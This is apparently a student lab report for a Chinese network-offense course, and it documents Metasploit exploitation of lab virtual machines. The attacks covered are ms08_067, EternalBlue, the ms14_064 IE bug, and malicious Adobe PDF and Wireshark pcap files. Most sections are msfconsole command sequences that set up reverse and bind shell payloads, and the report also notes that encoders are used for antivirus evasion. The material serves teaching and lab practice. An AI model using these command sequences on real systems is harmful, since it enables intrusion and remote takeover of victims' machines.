2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
- 原理与实践说明
- 攻击实例
- 主动攻击的实践
- ms08_067_netapi:自动化漏洞溢出攻击
payload:generic/shell_bind_tcp(成功且唯一)
- ms17_010_eternalblue:“永恒之蓝”自动化攻击
payload:windows/x64/shell/reverse_tcp_uuid(成功且唯一)
- ms08_067_netapi:自动化漏洞溢出攻击
- 攻击浏览器的实践
- 攻击客户端的实践
- Adobe
payload:windows/meterpreter/bind_tcp(成功且唯一)
- wireshark_packet_dect
payload:windows/meterpreter/reverse_tcp(成功)
- Adobe
- 成功应用任何一个辅助模块
- 在ms08_067中应用
use auxiliary/scanner/portscan/tcp搜索靶机开放端口
- 在ms08_067中应用
- 主动攻击的实践
- 实验遇到的问题及解决方法
- 离实战还缺些什么技术或步骤
- 实验总结与体会
原理与实践说明
1.实践原理
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六个模块
查看六种模块源码目录/usr/share/metasploit-framework/modules
渗透攻击模块
Exploit Modules:攻击漏洞,把shellcode"背"过去辅助模块
Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提攻击载荷
Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码空字段模块
Nop Modules编码模块
Encoders后渗透攻击模块
Post:攻击成功之后,动态传输代码使其在被控机执行
- MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息show [options]
- 查看攻击目标类型show [target]
- 查找命令search
- 查找2018年产生的在windows平台下的漏洞search ms18(或CNE:2018) type:exploit platform:windows - armitage
- 启动服务器service postgresql start
- 启动armitagearmitage - webgui
4.MSF常用漏洞利用命令
search name:用指定关键字搜索可以利用的漏洞模块use exploit name:使用漏洞show options:显示配置选项set option name option:设置选项show payloads:回链攻击载荷show targets: 显示目标(os版本)set TARGET target number:设置目标版本exploit:开始漏洞攻击sessions -l:列出会话sessions -i id:选择会话sessions -k id:结束会话Ctrl+z:把会话放到后台Ctrl+c:结束会话show auxiliary:显示辅助模块use auxiliary name:使用辅助模块set option name option:设置选项exploit:运行模块
2.实践内容概述
一个主动攻击实践,如ms08_067; (1分)
一个针对浏览器的攻击,如ms11_050;(1分)
一个针对客户端的攻击,如Adobe;(1分)
成功应用任何一个辅助模块。(0.5分)
3.基础问题回答
- 用自己的话解释什么是exploit,payload,encode.
- exploit是载具,连接漏洞,将payload传送到靶机中。
- payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中后,是真正负责进行攻击代码。
- encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符;其次是为了实现免杀,不让杀毒软件很轻易的就发现payload是攻击代码。
攻击实例
主动攻击的实践
ms08-067
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
靶机:Microsoft Windows 2000(10.0.0.112)
payload : generic/shell_reverse_tcp
测试靶机与攻击机之间能否ping通
攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 10.0.0.112查看到靶机的版本号

查看到靶机存在此漏洞

msfconsole打开控制台,遇到以下提示,原因是没有连接数据库

输入
service postgresql start启动数据库,再次进入控制台即可search ms08-067查看漏洞位置

use exploit/windows/smb/ms08_067_netapi选择该漏洞set RHOSTS 10.0.0.112设置靶机IP
利用辅助模块查看端口是否开启(默认端口为445)
search portscan # 搜索端口
use auxiliary/scanner/portscan/tcp # 使用漏洞
show options #显示设置
set RHOSTS 10.0.0.112 # 设置监听者地址
exploit # 攻击

show targets查看targets,修改靶机的类型set target 1(也可以不修改)show payloads查看可用payload

选择
set generic/shell_bind_tcpset LHOST 10.0.0.128设置监听者ipset LPORT 5318设置监听者端口号show options查看设置信息

exploit进行攻击,攻击成功!

ms17_010_eternalblue
靶机:Microsoft Windows 7(10.1.1.137)
payload : windows/x64/shell/reverse_tcp_uuid
实验步骤
nmap --script=vuln 10.1.1.137 //查看靶机开放端口、是否存在ms17_010
search ms17_010 //搜索漏洞
use exploit/windows/smb/ms17_010_eternalblue //使用漏洞
show payloads //显示可用攻击载荷
set payload windows/x64/shell/reverse_tcp_uuid //选择攻击载荷
set LHOST 10.1.1.128 //设置监听地址
set LPORT 5318 //设置端口号
set RHOSTS 10.1.1.137 //设置靶机地址
show options //查看配置信息
exploit //开始攻击
攻击成功


攻击浏览器的实践
ms10_046
靶机:Windows 7 + IE8
exploit : exploit/windows/smb/ms10_046_shortcut_icon_dllloader
payload : windows/meterpreter/reverse_https
实验步骤
search ms10-046 //看看其他的exploit
use exploit/windows/smb/ms10_046_shortcut_icon_dllloader //使用漏洞
show payloads //显示可用攻击载荷
set windows/meterpreter/reverse_https //选择攻击载荷
show options //查看配置信息
set LHOST 10..1.128 //设置监听地址
set SRVHOST 10.1.1.128 //设置本地收听地址
set LPORT //设置端口号
exploit #开始攻击

将
/root/.msf4/local/msf.lnk共享到win7虚拟机中,然后双击,即可在kail监听到,输入sessions查看当前会话

输入
sessions -i 1即可选择第一个会话,然后就攻击成功

做过之后我发现,这个并不是攻击浏览器的,而是一个反弹连接,使用info查看可以发现,这个模块利用了Windows快捷方式文件(. lnk)处理中的一个漏洞,该文件包含指向恶意DLL的图标资源。此模块创建一个SMB服务来使payload运行这个dll文件,同时需要靶机生成一个文件送到被攻击机上。

ms14_064
此安全更新可解决 Microsoft Windows 对象链接与嵌入 (OLE) 中 2 个私下报告的漏洞。最严重的漏洞可能在用户使用 Internet Explorer 查看经特殊设计的网页时允许远程执行代码。成功利用这些漏洞的攻击者可以在当前用户的上下文中运行任意代码。如果当前用户使用管理用户权限登录,则攻击者可随后安装程序;查看、更改或删除数据;或者创建拥有完全用户权限的新帐户。远程攻击者利用此漏洞通过构造的网站执行任意代码,影响Win95+IE3 – Win10+IE11全版本。
靶机:WindowsXP+IE 8.0
exploit : windows/browser/ms14_064_ole_code_execution
payload : windows/meterpreter/reverse_tcp
实验步骤
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
info //查看漏洞相关信息(发现可攻击winXP和win7)
show payloads //显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set SRVHOST 10.1.1.128 //设置攻方IP
set AllowPowerShellPrompt 1 //因为msf中自带的漏洞利用exp调用的是powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 10.1.1.128
set LPORT 5318
set target 0 //设置winXP靶机
exploit //发起攻击
将生成的URL地址在winXP的IE中打开,发现成功建立了一个会话

输入
sessions查看会话相关信息

输入
sessions -i 1即可选择第一个会话,调用shell权限成功

尝试使用payload:windows/meterpreter/reverse_https,结果失败了

攻击客户端的实践
Adobe
靶机:Windows XP
payload : windows/meterpreter/bind_tcp
实验步骤
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5318 //设置端口号
set RHOST 10.1.1.161 //设置靶机IP地址
exploit #攻击

将生成的
msf.pdf复制到Windows XP中kail中输入
back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 10.1.1.161 //设置靶机IP地址
set LPORT 5318 //设置端口号
exploit //攻击
- 在靶机中使用双击打开
msf.pdf

攻击成功

wireshark_packet_dect
靶机:Windows XP
payload : windows/meterpreter/reverse_tcp
实验步骤
msfconsole //进入控制台
use exploit/windows/fileformat/wireshark_packet_dect.rb //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
set FILENAME 5318.pcap //设置文件名
show options //查看设置
exploit #攻击

将生成的
5318.pcap复制到Windows XP中kail中输入
back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //选择攻击载荷
set LHOST 10.1.1.128 //攻击者地址
set LPORT 5318 //设置端口号
exploit //攻击
- 在靶机中使用wireshark打开
5318.pcap
攻击成功

实验中遇到的问题及解决方法
因为觉得每次都打开msfconle时间太长,所以我经常都是在前一次实验的基础上进行实验,在攻击的时候就会出现以下问题

- 提示是说端口被占用了,我换了几个端口都没用,后来重启了msf,奏效了!!!!。果然重启解决一切问题!
离实战还缺些什么技术或步骤
- 信息收集扫描的重要性,掌握准确的信息是成功的关键因素。
- 首先目前对某个漏洞的攻击还是针对与网上搜索的资料和步骤,msf只是攻击漏洞的一个工具,我现在就只是能够参考学长学姐的做法,根据想要的攻击的方法选择已有的模块进行攻击,对已有攻击教程的依赖程度还比较高,所以想真正用好msf,搞懂怎么利用漏洞进行攻击还需要更多的主动性、目的性。
实验总结与体会
本次实验操作起来非常简单,逻辑也很清晰,绝大多数的时间花费在找靶机上。这体现了metasploit攻击漏洞的专一性,对操作系统和软件版本都有细致的要求。必须要在特定环境和特定触发条件下才能成功。我觉得这也是与实践的差距之一。
总体来说实验过程还是比较顺利,在这次实验过程中,我觉得最终要的就是实验之前看帮助,要使用什么口令,怎么使用口令,靶机中有什么漏洞,漏洞的详细信息等等,这样可以避免盲目的实践导致事件的浪费。
2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用的更多相关文章
- 2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165236 Exp5 MSF基础应用 一. 实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要 ...
- 2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165301 Exp5 MSF基础应用 实践原理 1.MSF攻击方法 主动攻击:扫描主机漏洞,进行攻击 攻击浏览器 攻击其他客户端 2.MSF的六个模块 查看 ...
- 2018-2019-2 20165311《网络对抗技术》Exp5 MSF基础应用
<网络对抗技术>Exp5 MSF基础应用 实验目的 实验内容 一个主动攻击实践(ms08_067) 一个针对浏览器的攻击(ms11_050) 一个针对客户端的攻击(adobe_toolbu ...
- 2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165317 Exp5 MSF基础应用 一.原理与实践说明 1.实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具 ...
- 2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165225 Exp5 MSF基础应用 验前准备 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻 ...
- 2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165316 Exp5 MSF基础应用 目录 原理与实践说明 实践原理 实践内容概述 基础问题回答 攻击实例 主动攻击的实践 ms08_067_netapi: ...
- 20165214 2018-2019-2 《网络对抗技术》Exp5 MSF基础应用 Week8
<网络对抗技术>Exp5 MSF基础应用 Week8 一.实验目标与内容 1.实践内容(3.5分) 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体我 ...
- 2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用
2018-2019-2 网络对抗技术 20165228 Exp5 MSF基础应用 exploit选取 主动攻击:ms17_010_eternalblue(唯一) 浏览器攻击:ms05_054_onlo ...
- 20165308『网络对抗技术』Exp5 MSF基础应用
20165308『网络对抗技术』Exp5 MSF基础应用 一.原理与实践说明 实践内容 本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路.具体需要完成: 一个主动攻击实 ...
随机推荐
- Django之stark组件
现在让我说啥是stark组件,我也说不清楚.反正从今天讲的知识来看,今天完成的就是自己写一个模块,这个模块包含了admin后台管理工具的一些比较好用的功能,我们把它提炼出来,也就是相当于自己写一个ad ...
- c语言中阶乘的精确值
对于大数的操作,可能超出int,甚至long的表示范围,对此,可以使用数组来存储大数,下列代码为求1000以内数的阶乘的代码,代码如下: #include <stdio.h> #inclu ...
- LINQ 【高级查询】
using (Data0216DataContext con = new Data0216DataContext()) { List<Users> ulist = con.Use ...
- Java程序设计概述
摘要:1996年Java第一次发布就引起了人们的广大关注.本文简要地介绍一下Java语言的发展历史. 一.Java程序设计平台 Java是一种优秀的程序设计语言.一旦一种语言应用于某个领域,与现存代码 ...
- cordova极光推送插件使用
首先是在极光官网注册登录账号,然后创建推送应用,创建完应用之后,点击打开应用,设置应用的包名,保存: 然后回到应用主界面,看到AppKey,以及MasterSecret,这时候MasterSecret ...
- php curl中x-www-form-urlencoded与multipart/form-data 方式 Post 提交数据详解
multipart/form-data 方式 post的curl库,模拟post提交的时候,默认的方式 multipart/form-data ,这个算是post提交的几个基础的实现方式. $post ...
- TP5手动引入PHPEXCEL的方法
1.先在github里面下载PHPexcel这个类库 2.解压之后把它复制到extend里面 控制器代码如下: 1 <?php 2 /** 3 * Created by PhpStorm. 4 ...
- loj#2002. 「SDOI2017」序列计数(dp 矩阵乘法)
题意 题目链接 Sol 质数的限制并没有什么卵用,直接容斥一下:答案 = 忽略质数总的方案 - 没有质数的方案 那么直接dp,设\(f[i][j]\)表示到第i个位置,当前和为j的方案数 \(f[i ...
- mysql之行(记录)的详细操作
在Mysql管理软件中, 可以通过sql语句中的dml语言来实现数据的操作, 包括 使用INSERT实现数据的插入 UPDATE实现数据的更新 使用DELETE实现数据的删除 使用SELECT查询数据 ...
- VUE axios 发送 Form Data 格式数据请求
axios 默认是 Payload 格式数据请求,但有时候后端接收参数要求必须是 Form Data 格式的,所以我们就得进行转换.Payload 和 Form Data 的主要设置是根据请求头的 C ...